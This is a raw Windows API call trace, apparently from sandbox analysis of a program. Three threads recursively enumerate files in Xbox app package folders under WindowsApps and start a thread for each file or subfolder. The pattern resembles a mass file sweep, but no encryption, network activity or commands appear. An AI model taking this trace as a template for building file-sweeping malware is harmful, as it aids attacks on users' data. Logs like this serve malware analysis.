	[0090.005] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745e51cf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x745e51cf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x745e51cf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="xboxservices.config", cAlternateFileName="")) returned 1
	[0090.005] wcscmp (_String1="xboxservices.config", _String2=".") returned 1
	[0090.005] wcscmp (_String1="xboxservices.config", _String2="..") returned 1
	[0090.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e8f50
	[0090.005] wcscpy (in: _Dest=0x47e8f50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.005] wcscat (in: _Dest=0x47e8f50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.005] wcscat (in: _Dest=0x47e8f50, _Source="xboxservices.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\xboxservices.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\xboxservices.config"
	[0090.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e8f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214c
	[0090.006] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7247898c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4145312, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x725a9c6e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0090.006] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0090.006] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0090.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2cde0
	[0090.006] wcscpy (in: _Dest=0x4f2cde0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.006] wcscat (in: _Dest=0x4f2cde0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.006] wcscat (in: _Dest=0x4f2cde0, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\_Resources"
	[0090.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2cde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2150
	[0090.007] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7247898c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4145312, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x725a9c6e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0090.007] FindClose (in: hFindFile=0x46a7b98 | out: hFindFile=0x46a7b98) returned 1
	[0090.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50300a0) returned 1
	[0090.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d148) returned 1
	[0090.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1

Thread:
	id = 1051
	os_tid = 0x1cdc

	[0082.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2e447c0
	[0082.713] wcscpy (in: _Dest=0x2e447c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.713] wcscat (in: _Dest=0x2e447c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.713] wcscat (in: _Dest=0x2e447c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030308
	[0082.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c427fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5aba784, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5aba784, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7bd8
	[0082.715] wcscmp (_String1=".", _String2=".") returned 0
	[0082.715] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c427fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5aba784, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5aba784, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.715] wcscmp (_String1="..", _String2=".") returned 1
	[0082.715] wcscmp (_String1="..", _String2="..") returned 0
	[0082.715] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c68a55, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77c8ecb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77c8ecb3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.715] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.715] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4767110
	[0082.716] wcscpy (in: _Dest=0x4767110, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.716] wcscat (in: _Dest=0x4767110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.716] wcscat (in: _Dest=0x4767110, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1668
	[0089.964] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c427fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77c427fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77c427fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.964] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.964] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4777160
	[0089.964] wcscpy (in: _Dest=0x4777160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.964] wcscat (in: _Dest=0x4777160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.964] wcscat (in: _Dest=0x4777160, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ac
	[0089.965] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c8ecb3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77cb4f0c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77cb4f0c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.965] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.965] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778360
	[0089.965] wcscpy (in: _Dest=0x4778360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.965] wcscat (in: _Dest=0x4778360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.965] wcscat (in: _Dest=0x4778360, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b0
	[0089.966] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77cb4f0c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb44d2941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77d2c754, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.966] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.966] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e33730
	[0089.966] wcscpy (in: _Dest=0x4e33730, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.966] wcscat (in: _Dest=0x4e33730, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.966] wcscat (in: _Dest=0x4e33730, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0089.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e33730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b4
	[0089.967] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5aba784, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5aba784, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5aba784, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.967] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.967] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x116) returned 0x4771e30
	[0089.967] wcscpy (in: _Dest=0x4771e30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.967] wcscat (in: _Dest=0x4771e30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.967] wcscat (in: _Dest=0x4771e30, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4771e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b8
	[0089.968] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77d2ecce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77d2ecce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77d2ecce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.968] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.968] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4752d08
	[0089.968] wcscpy (in: _Dest=0x4752d08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.968] wcscat (in: _Dest=0x4752d08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.968] wcscat (in: _Dest=0x4752d08, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0089.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20bc
	[0089.969] FindNextFileW (in: hFindFile=0x46a7bd8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77d2ecce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77d2ecce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77d2ecce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0089.969] FindClose (in: hFindFile=0x46a7bd8 | out: hFindFile=0x46a7bd8) returned 1
	[0089.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030308) returned 1
	[0089.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e447c0) returned 1
	[0089.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e2d0) returned 1

Thread:
	id = 1052
	os_tid = 0x1ce0

	[0082.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4925130
	[0082.716] wcscpy (in: _Dest=0x4925130, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe"
	[0082.716] wcscat (in: _Dest=0x4925130, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.716] wcscat (in: _Dest=0x4925130, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030570
	[0082.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77993d99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7c18
	[0082.718] wcscmp (_String1=".", _String2=".") returned 0
	[0082.718] FindNextFileW (in: hFindFile=0x46a7c18, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77993d99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.718] wcscmp (_String1="..", _String2=".") returned 1
	[0082.718] wcscmp (_String1="..", _String2="..") returned 0
	[0082.718] FindNextFileW (in: hFindFile=0x46a7c18, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77aeb2ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77aeb2ca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77aeb2ca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.718] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.718] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44440
	[0082.718] wcscpy (in: _Dest=0x2e44440, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe"
	[0082.718] wcscat (in: _Dest=0x2e44440, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.718] wcscat (in: _Dest=0x2e44440, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x166c
	[0089.959] FindNextFileW (in: hFindFile=0x46a7c18, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77993d99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb453b7da, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77993d99, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.959] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
